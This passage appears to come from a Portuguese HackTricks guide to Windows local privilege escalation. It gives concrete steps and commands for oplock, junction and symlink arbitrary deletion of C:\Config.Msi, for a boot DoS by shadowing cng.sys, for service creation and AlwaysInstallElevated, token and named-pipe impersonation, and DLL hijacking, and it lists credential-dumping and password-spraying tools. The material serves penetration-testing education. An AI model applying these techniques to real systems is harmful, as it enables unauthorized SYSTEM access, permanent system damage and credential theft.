  • Esse processo varre pastas (por exemplo, %TEMP%) e tenta excluir seu conteúdo.
  • Quando chegar em file1.txt, o oplock é acionado e passa o controle para seu callback.
  1. Etapa 4: Dentro do callback do oplock – redirecionar a exclusão

  • Opção A: Mover file1.txt para outro local

  • Isso esvazia folder1 sem quebrar o oplock.

  • Não exclua file1.txt diretamente — isso liberaria o oplock prematuramente.

  • Opção B: Converter folder1 em uma junction:

bash
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opção C: Criar um symlink em \RPC Control:
bash
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Isso mira o stream interno do NTFS que armazena metadados da pasta — excluí-lo exclui a pasta.

  1. Passo 5: Liberar o oplock
  • O processo SYSTEM continua e tenta excluir file1.txt.
  • Mas agora, devido à junction + symlink, na verdade está excluindo:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi é excluído pelo SYSTEM.

De criação arbitrária de pasta para DoS permanente

Exploit uma primitiva que permite que você crie uma pasta arbitrária como SYSTEM/admin — mesmo se você não puder gravar arquivos ou definir permissões fracas.

Crie uma pasta (não um arquivo) com o nome de um driver crítico do Windows, por exemplo:

C:\Windows\System32\cng.sys
  • Este caminho normalmente corresponde ao driver em modo kernel cng.sys.
  • Se você pré-criar o caminho como uma pasta, o Windows falha ao carregar o driver real durante a inicialização.
  • Então, o Windows tenta carregar cng.sys durante a inicialização.
  • Ele vê a pasta, não consegue resolver o driver real, e trava ou interrompe a inicialização.
  • Não há no fallback, e no recovery sem intervenção externa (por exemplo, reparo de boot ou acesso ao disco).

From High Integrity to System

Novo serviço

Se você já está executando em um processo High Integrity, o path to SYSTEM pode ser fácil apenas criando e executando um novo serviço:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

tip

Ao criar um binário de serviço certifique-se de que é um serviço válido ou que o binário execute as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido.

AlwaysInstallElevated

From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
Mais informações sobre as chaves de registro envolvidas e como instalar um pacote .msi aqui.

High + SeImpersonate privilege to System

Você pode encontrar o código aqui.

From SeDebug + SeImpersonate to Full Token privileges

Se você tiver esses privilégios de token (provavelmente os encontrará em um processo já High Integrity), você poderá abrir quase qualquer processo (processos não protegidos) com o privilégio SeDebug, copiar o token do processo e criar um processo arbitrário com esse token.
Ao usar esta técnica normalmente seleciona-se qualquer processo em execução como SYSTEM com todos os privilégios de token (sim, você pode encontrar processos SYSTEM sem todos os privilégios de token).
Você pode encontrar um exemplo de código executando a técnica proposta aqui.

Named Pipes

This technique is used by meterpreter to escalate in getsystem. A técnica consiste em criar um pipe e então criar/abusar de um service para escrever nesse pipe. Então, o server que criou o pipe usando o privilégio SeImpersonate será capaz de impersonar o token do cliente do pipe (o serviço) obtendo privilégios SYSTEM.
Se você quiser aprender mais sobre name pipes você deve ler isto.
Se quiser ler um exemplo de como ir de high integrity para System usando name pipes você deve ler isto.

Dll Hijacking

Se você conseguir hijackar uma dll que esteja sendo carregada por um processo em execução como SYSTEM você será capaz de executar código arbitrário com essas permissões. Portanto Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é muito mais fácil de alcançar a partir de um processo de high integrity, pois este terá permissões de escrita nas pastas usadas para carregar dlls.
Você pode aprender mais sobre Dll hijacking aqui.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Mais ajuda

Static impacket binaries

Ferramentas úteis

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Verifica por misconfigurações e arquivos sensíveis (check here). Detected.
JAWS -- Verifica algumas possíveis misconfigurações e coleta informações (check here).
privesc -- Verifica por misconfigurações
SessionGopher -- Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.
Invoke-WCMDump -- Extrai credenciais do Credential Manager. Detected.
DomainPasswordSpray -- Executa password spray com senhas coletadas no domínio
Inveigh -- Inveigh é um spoofer ADIDNS/LLMNR/mDNS/NBNS em PowerShell e ferramenta man-in-the-middle.
WindowsEnum -- Enumeração básica para privesc no Windows
Sherlock ~~~~ -- Procura por vulnerabilidades conhecidas de privesc (DESCONTINUADO para Watson)
WINspect -- Verificações locais (Precisa de privilégios de Admin)

Exe

Watson -- Procura por vulnerabilidades conhecidas de privesc (precisa ser compilado usando o VisualStudio) (precompiled)
SeatBelt -- Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de informações do que privesc) (precisa ser compilado) (precompiled)
LaZagne -- Extrai credenciais de muitos softwares (exe pré-compilado no github)
SharpUP -- Port de PowerUp para C#
Beroot ~~~~ -- Verifica por misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.
Windows-Privesc-Check -- Verifica possíveis misconfigurações (exe gerado a partir de python). Não recomendado. Não funciona bem no Win10.

Bat

winPEASbat -- Ferramenta criada com base neste post (não precisa de accesschk para funcionar corretamente, mas pode usá-lo).

Local

Windows-Exploit-Suggester -- Lê a saída de systeminfo e recomenda exploits funcionais (python local)
Windows Exploit Suggester Next Generation -- Lê a saída de systeminfo e recomenda exploits funcionais (python local)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). Para ver a versão do .NET instalada na máquina vítima você pode fazer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks